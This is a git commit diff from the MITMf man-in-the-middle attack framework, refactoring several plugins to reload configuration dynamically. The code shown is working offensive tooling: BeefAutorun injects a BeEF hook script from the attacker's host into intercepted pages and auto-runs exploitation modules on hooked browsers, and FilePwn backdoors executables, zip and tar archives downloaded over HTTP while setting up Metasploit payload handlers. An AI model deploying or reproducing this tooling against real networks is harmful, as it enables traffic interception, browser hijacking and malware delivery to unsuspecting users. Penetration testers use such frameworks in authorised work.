initial dynamic config support

added configwatcher.py
This commit is contained in:
byt3bl33d3r 2015-04-19 23:32:52 +02:00
commit 663f38e732
26 changed files with 1187 additions and 281 deletions

View file

@ -29,6 +29,7 @@ import sys
from plugins.plugin import Plugin
from datetime import date
from core.sslstrip.URLMonitor import URLMonitor
from core.configwatcher import ConfigWatcher
mitmf_logger = logging.getLogger('mitmf')
@ -47,18 +48,16 @@ class AppCachePlugin(Plugin):
self.urlMonitor.setAppCachePoisoning()
try:
self.config = options.configfile['AppCachePoison']
except Exception, e:
sys.exit("[-] Error parsing config file for AppCachePoison: " + str(e))
def handleResponse(self, request, data):
self.config = ConfigWatcher.getInstance().getConfig()['AppCachePoison'] # so we reload the config on each request
url = request.client.uri
req_headers = request.client.getAllHeaders()
headers = request.client.responseHeaders
ip = request.client.getClientIP()
#########################################################################
if "enable_only_in_useragents" in self.config:
regexp = self.config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):

View file

@ -24,16 +24,15 @@ import json
import threading
from core.beefapi.beefapi import BeefAPI
from core.configwatcher import ConfigWatcher
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.Inject import Inject
from time import sleep
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
requests_log.setLevel(logging.WARNING)
mitmf_logger = logging.getLogger('mitmf')
class BeefAutorun(Inject, Plugin):
class BeefAutorun(Inject, Plugin, ConfigWatcher):
name = "BeEFAutorun"
optname = "beefauto"
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
@ -43,95 +42,90 @@ class BeefAutorun(Inject, Plugin):
has_opts = False
def initialize(self, options):
self.options = options
self.ip_address = options.ip_address
try:
beefconfig = options.configfile['MITMf']['BeEF']
except Exception, e:
sys.exit("[-] Error parsing BeEF options in config file: " + str(e))
try:
userconfig = options.configfile['BeEFAutorun']
except Exception, e:
sys.exit("[-] Error parsing config for BeEFAutorun: " + str(e))
self.Mode = userconfig['mode']
self.All_modules = userconfig["ALL"]
self.Targeted_modules = userconfig["targets"]
self.options = options
self.ip_address = SystemConfig.getIP(options.interface)
Inject.initialize(self, options)
self.black_ips = []
self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.ip_address, beefconfig['beefport'])
beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
if not beef.login(beefconfig['user'], beefconfig['pass']):
sys.exit("[-] Error logging in to BeEF!")
self.tree_output.append("Mode: %s" % self.Mode)
self.onConfigChange()
t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
t = threading.Thread(name="autorun", target=self.autorun, args=())
t.setDaemon(True)
t.start()
def autorun(self, beef):
def onConfigChange(self):
beefconfig = self.config['MITMf']['BeEF']
self.html_payload = '<script type="text/javascript" src="http://{}:{}/hook.js"></script>'.format(self.ip_address, beefconfig['beefport'])
self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
if not self.beef.login(beefconfig['user'], beefconfig['pass']):
sys.exit("[-] Error logging in to BeEF!")
self.tree_output.append("Mode: {}".format(self.config['BeEFAutorun']['mode']))
def autorun(self):
already_ran = []
already_hooked = []
while True:
sessions = beef.sessions_online()
mode = self.config['BeEFAutorun']['mode']
sessions = self.beef.sessions_online()
if (sessions is not None and len(sessions) > 0):
for session in sessions:
if session not in already_hooked:
info = beef.hook_info(session)
mitmf_logger.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os']))
info = self.beef.hook_info(session)
mitmf_logger.info("{} >> joined the horde! [id:{}, type:{}-{}, os:{}]".format(info['ip'], info['id'], info['name'], info['version'], info['os']))
already_hooked.append(session)
self.black_ips.append(str(info['ip']))
if self.Mode == 'oneshot':
if mode == 'oneshot':
if session not in already_ran:
self.execModules(session, beef)
self.execModules(session)
already_ran.append(session)
elif self.Mode == 'loop':
self.execModules(session, beef)
elif mode == 'loop':
self.execModules(session)
sleep(10)
else:
sleep(1)
def execModules(self, session, beef):
session_info = beef.hook_info(session)
session_ip = session_info['ip']
hook_browser = session_info['name']
hook_os = session_info['os']
def execModules(self, session):
session_info = self.beef.hook_info(session)
session_ip = session_info['ip']
hook_browser = session_info['name']
hook_os = session_info['os']
all_modules = self.config['BeEFAutorun']["ALL"]
targeted_modules = self.config['BeEFAutorun']["targets"]
if len(self.All_modules) > 0:
mitmf_logger.info("%s >> sending generic modules" % session_ip)
for module, options in self.All_modules.iteritems():
mod_id = beef.module_id(module)
resp = beef.module_run(session, mod_id, json.loads(options))
if len(all_modules) > 0:
mitmf_logger.info("{} >> sending generic modules".format(session_ip))
for module, options in all_modules.iteritems():
mod_id = self.beef.module_id(module)
resp = self.beef.module_run(session, mod_id, json.loads(options))
if resp["success"] == 'true':
mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id))
mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id))
else:
mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id))
sleep(0.5)
mitmf_logger.info("%s >> sending targeted modules" % session_ip)
for os in self.Targeted_modules:
mitmf_logger.info("{} >> sending targeted modules".format(session_ip))
for os in targeted_modules:
if (os in hook_os) or (os == hook_os):
browsers = self.Targeted_modules[os]
browsers = targeted_modules[os]
if len(browsers) > 0:
for browser in browsers:
if browser == hook_browser:
modules = self.Targeted_modules[os][browser]
modules = targeted_modules[os][browser]
if len(modules) > 0:
for module, options in modules.iteritems():
mod_id = beef.module_id(module)
resp = beef.module_run(session, mod_id, json.loads(options))
mod_id = self.beef.module_id(module)
resp = self.beef.module_run(session, mod_id, json.loads(options))
if resp["success"] == 'true':
mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id))
mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id))
else:
mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id))
sleep(0.5)

View file

@ -54,7 +54,7 @@ class BrowserProfiler(Inject, Plugin):
if self.dic_output['plugin_list'] > 0:
self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',')
pretty_output = pformat(self.dic_output)
mitmf_logger.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
mitmf_logger.info("{} >> Browser Profiler data:\n{}".format(request.client.getClientIP(), pretty_output))
def get_payload(self):
payload = """<script type="text/javascript">

View file

@ -63,18 +63,20 @@ import random
import string
import tarfile
import multiprocessing
import threading
from libs.bdfactory import pebin
from libs.bdfactory import elfbin
from libs.bdfactory import machobin
from core.msfrpc import Msfrpc
from core.configwatcher import ConfigWatcher
from plugins.plugin import Plugin
from tempfile import mkstemp
from configobj import ConfigObj
mitmf_logger = logging.getLogger('mitmf')
class FilePwn(Plugin):
class FilePwn(Plugin, ConfigWatcher):
name = "FilePwn"
optname = "filepwn"
desc = "Backdoor executables being sent over http using bdfactory"
@ -110,21 +112,8 @@ class FilePwn(Plugin):
#NOT USED NOW
#self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
#Metasploit options
msfcfg = options.configfile['MITMf']['Metasploit']
rpcip = msfcfg['rpcip']
rpcpass = msfcfg['rpcpass']
try:
self.msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary
self.msf.login('msf', rpcpass)
version = self.msf.call('core.version')['version']
self.tree_output.append("Connected to Metasploit v%s" % version)
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
#FilePwn options
self.userConfig = options.configfile['FilePwn']
self.userConfig = self.config['FilePwn']
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
@ -138,9 +127,21 @@ class FilePwn(Plugin):
self.zipblacklist = self.userConfig['ZIP']['blacklist']
self.tarblacklist = self.userConfig['TAR']['blacklist']
self.tree_output.append("Setting up Metasploit payload handlers")
#Metasploit options
msfcfg = self.config['MITMf']['Metasploit']
rpcip = msfcfg['rpcip']
rpcpass = msfcfg['rpcpass']
try:
msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary
msf.login('msf', rpcpass)
version = msf.call('core.version')['version']
self.tree_output.append("Connected to Metasploit v{}".format(version))
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
jobs = self.msf.call('job.list')
self.tree_output.append("Setting up Metasploit payload handlers")
jobs = msf.call('job.list')
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
cmd = "use exploit/multi/handler\n"
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
@ -150,19 +151,22 @@ class FilePwn(Plugin):
if jobs:
for pid, name in jobs.iteritems():
info = self.msf.call('job.info', [pid])
info = msf.call('job.info', [pid])
if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']):
#Create a virtual console
c_id = self.msf.call('console.create')['id']
c_id = msf.call('console.create')['id']
#write the cmd to the newly created console
self.msf.call('console.write', [c_id, cmd])
msf.call('console.write', [c_id, cmd])
else:
#Create a virtual console
c_id = self.msf.call('console.create')['id']
c_id = msf.call('console.create')['id']
#write the cmd to the newly created console
self.msf.call('console.write', [c_id, cmd])
msf.call('console.write', [c_id, cmd])
def onConfigChange(self):
self.initialize(self.options)
def convert_to_Bool(self, aString):
if aString.lower() == 'true':
@ -351,7 +355,7 @@ class FilePwn(Plugin):
if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']):
print "[!] TarFile over allowed size"
mitmf_logger.info("TarFIle maxSize met %s", len(aTarFileBytes))
mitmf_logger.info("TarFIle maxSize met {}".format(len(aTarFileBytes)))
self.patched.put(aTarFileBytes)
return
@ -423,7 +427,7 @@ class FilePwn(Plugin):
if keywordCheck is True:
print "[!] Tar blacklist enforced!"
mitmf_logger.info('Tar blacklist enforced on %s', info.name)
mitmf_logger.info('Tar blacklist enforced on {}'.format(info.name))
continue
# Try to patch
@ -444,14 +448,14 @@ class FilePwn(Plugin):
info.size = os.stat(file2).st_size
with open(file2, 'rb') as f:
newTarFile.addfile(info, f)
mitmf_logger.info("%s in tar patched, adding to tarfile", info.name)
mitmf_logger.info("{} in tar patched, adding to tarfile".format(info.name))
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
with open(tmp.name, 'rb') as f:
newTarFile.addfile(info, f)
mitmf_logger.info("%s patching failed. Keeping original file in tar.", info.name)
mitmf_logger.info("{} patching failed. Keeping original file in tar.".format(info.name))
if patchCount == int(self.userConfig['TAR']['patchCount']):
mitmf_logger.info("Met Tar config patchCount limit.")
@ -479,7 +483,7 @@ class FilePwn(Plugin):
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
print "[!] ZipFile over allowed size"
mitmf_logger.info("ZipFIle maxSize met %s", len(aZipFile))
mitmf_logger.info("ZipFIle maxSize met {}".format(len(aZipFile)))
self.patched.put(aZipFile)
return
@ -536,7 +540,7 @@ class FilePwn(Plugin):
if keywordCheck is True:
print "[!] Zip blacklist enforced!"
mitmf_logger.info('Zip blacklist enforced on %s', info.filename)
mitmf_logger.info('Zip blacklist enforced on {}'.format(info.filename))
continue
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
@ -546,12 +550,12 @@ class FilePwn(Plugin):
file2 = "backdoored/" + os.path.basename(info.filename)
print "[*] Patching complete, adding to zip file."
shutil.copyfile(file2, tmpDir + '/' + info.filename)
mitmf_logger.info("%s in zip patched, adding to zipfile", info.filename)
mitmf_logger.info("{} in zip patched, adding to zipfile".format(info.filename))
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
mitmf_logger.info("%s patching failed. Keeping original file in zip.", info.filename)
mitmf_logger.info("{} patching failed. Keeping original file in zip.".format(info.filename))
print '-' * 10
@ -595,7 +599,7 @@ class FilePwn(Plugin):
if content_header in self.zipMimeTypes:
if self.bytes_have_format(data, 'zip'):
mitmf_logger.info("%s Detected supported zip file type!" % client_ip)
mitmf_logger.info("{} Detected supported zip file type!".format(client_ip))
process = multiprocessing.Process(name='zip', target=self.zip, args=(data,))
process.daemon = True
@ -604,13 +608,13 @@ class FilePwn(Plugin):
bd_zip = self.patched.get()
if bd_zip:
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
return {'request': request, 'data': bd_zip}
else:
for tartype in ['gz','bz','tar']:
if self.bytes_have_format(data, tartype):
mitmf_logger.info("%s Detected supported tar file type!" % client_ip)
mitmf_logger.info("{} Detected supported tar file type!".format(client_ip))
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
process.daemon = True
@ -619,14 +623,14 @@ class FilePwn(Plugin):
bd_tar = self.patched.get()
if bd_tar:
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
return {'request': request, 'data': bd_tar}
elif content_header in self.binaryMimeTypes:
for bintype in ['pe','elf','fatfile','machox64','machox86']:
if self.bytes_have_format(data, bintype):
mitmf_logger.info("%s Detected supported binary type!" % client_ip)
mitmf_logger.info("{} Detected supported binary type!".format(client_ip))
fd, tmpFile = mkstemp()
with open(tmpFile, 'w') as f:
f.write(data)
@ -640,9 +644,9 @@ class FilePwn(Plugin):
if patchb:
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
os.remove('./backdoored/' + os.path.basename(tmpFile))
mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
return {'request': request, 'data': bd_binary}
else:
mitmf_logger.debug("%s File is not of supported Content-Type: %s" % (client_ip, content_header))
mitmf_logger.debug("{} File is not of supported Content-Type: {}".format(client_ip, content_header))
return {'request': request, 'data': data}

View file

@ -19,12 +19,15 @@
#
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr
import time
import re
import sys
import argparse
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill
@ -42,7 +45,7 @@ class Inject(CacheKill, Plugin):
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.proxyip = options.ip_address
self.proxyip = SystemConfig.getIP(options.interface)
self.html_src = options.html_url
self.js_src = options.js_url
self.rate_limit = options.rate_limit

View file

@ -24,7 +24,7 @@ import logging
from plugins.plugin import Plugin
from core.utils import IpTables
from core.sslstrip.URLMonitor import URLMonitor
from libs.dnschef.dnschef import DNSChef
from core.dnschef.dnschef import DNSChef
class HSTSbypass(Plugin):
name = 'SSLstrip+'

View file

@ -25,7 +25,7 @@ from core.utils import SystemConfig, IpTables
from core.sslstrip.DnsCache import DnsCache
from core.wrappers.protocols import _ARP, _DHCP, _ICMP
from plugins.plugin import Plugin
from libs.dnschef.dnschef import DNSChef
from core.dnschef.dnschef import DNSChef
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *

View file

@ -11,10 +11,6 @@ class Plugin(object):
implements = []
has_opts = False
def __init__(self):
'''Called on plugin instantiation. Probably don't need this'''
pass
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options